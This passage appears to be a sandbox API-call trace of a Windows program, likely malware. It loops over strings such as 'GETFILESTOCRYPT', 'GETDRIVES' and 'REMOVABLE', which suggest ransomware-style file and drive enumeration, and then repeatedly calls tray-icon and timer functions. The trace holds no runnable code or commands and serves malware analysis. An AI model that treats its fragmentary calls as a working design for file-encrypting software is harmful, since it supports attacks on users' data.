lpsz="GETFILESTOCRYPT") returned 0xf [0089.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.964] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.964] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.964] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.964] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.964] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.964] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.965] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.965] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.965] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.965] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.965] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.978] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.978] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.978] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.978] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.978] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.978] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.979] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.979] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.979] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.979] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.979] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.979] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.980] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.980] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.980] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.980] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.980] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.980] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.980] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.980] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.980] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.980] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.980] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.980] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.981] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.981] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.981] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.982] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.982] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.983] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.983] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.983] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.983] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.983] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.983] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.983] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.984] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.984] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.984] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.984] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.984] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.984] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.984] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.985] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.985] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.985] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.993] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.993] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.993] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.993] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.993] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.993] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.993] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.993] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.994] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.994] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.994] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.994] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.994] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.994] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.994] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.995] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.995] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.995] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.995] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.995] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.995] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.995] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.995] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.995] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.995] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.995] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.996] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.996] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.996] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.996] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.996] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.996] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0090.009] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0090.009] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0090.009] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0090.010] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0090.010] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0090.010] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0090.010] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0090.010] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0090.010] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0090.010] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0090.493] TranslateMessage (lpMsg=0x130f86c) returned 0 [0090.493] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0090.493] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0090.499] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0090.499] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0091.248] TranslateMessage (lpMsg=0x130f86c) returned 0 [0091.248] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0091.249] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0091.272] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0091.272] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0092.009] TranslateMessage (lpMsg=0x130f614) returned 0 [0092.009] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0092.009] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0092.014] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0092.014] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0092.759] TranslateMessage (lpMsg=0x130f614) returned 0 [0092.759] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0092.759] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0092.763] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0092.764] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0093.509] TranslateMessage (lpMsg=0x130f204) returned 0 [0093.509] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0093.509] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0093.512] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0093.512] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0094.259] TranslateMessage (lpMsg=0x130f614) returned 0 [0094.259] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0094.259] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0094.263] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0094.263] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0095.079] TranslateMessage (lpMsg=0x130f614) returned 0 [0095.079] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0095.079] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0095.083] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0095.083] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0095.821] TranslateMessage (lpMsg=0x130f86c) returned 0 [0095.822] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0095.822] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0095.826] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0095.826] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0096.580] TranslateMessage (lpMsg=0x130f204) returned 0 [0096.580] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0096.581] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0096.584] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0096.585] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0097.322] TranslateMessage (lpMsg=0x130f204) returned 0 [0097.322] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0097.322] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0097.326] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0097.326] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0098.239] TranslateMessage (lpMsg=0x130f614) returned 0 [0098.239] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0098.239] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0098.243] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0098.244] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0100.593] TranslateMessage (lpMsg=0x130f204) returned 0 [0100.593] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0100.593] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0100.601] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0100.601] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0101.333] TranslateMessage (lpMsg=0x130f86c) returned 0 [0101.333] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0101.333] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0101.336] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0101.336] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0102.174] TranslateMessage (lpMsg=0x130f614) returned 0 [0102.174] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0102.174] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0102.178] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0102.178] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0102.927] TranslateMessage (lpMsg=0x130f204) returned 0 [0102.927] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0102.927] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0102.931] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0102.931] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0105.021] TranslateMessage (lpMsg=0x130f86c) returned 0 [0105.021] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0105.021] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0105.025] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0105.025] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0105.755] TranslateMessage (lpMsg=0x130f204) returned 0 [0105.755] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0105.755] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0105.759] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0105.759] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0106.510] TranslateMessage (lpMsg=0x130f86c) returned 0 [0106.510] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0106.510] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0106.537] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0106.538] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0108.265] TranslateMessage (lpMsg=0x130f204) returned 0 [0108.265] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0108.265] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0108.273] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0108.274] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0109.025] TranslateMessage (lpMsg=0x130f86c) returned 0 [0109.025] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0109.026] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0109.028] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0109.028] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0110.756] TranslateMessage (lpMsg=0x130f614) returned 0 [0110.756] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0110.756] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0110.761] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0110.762] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, 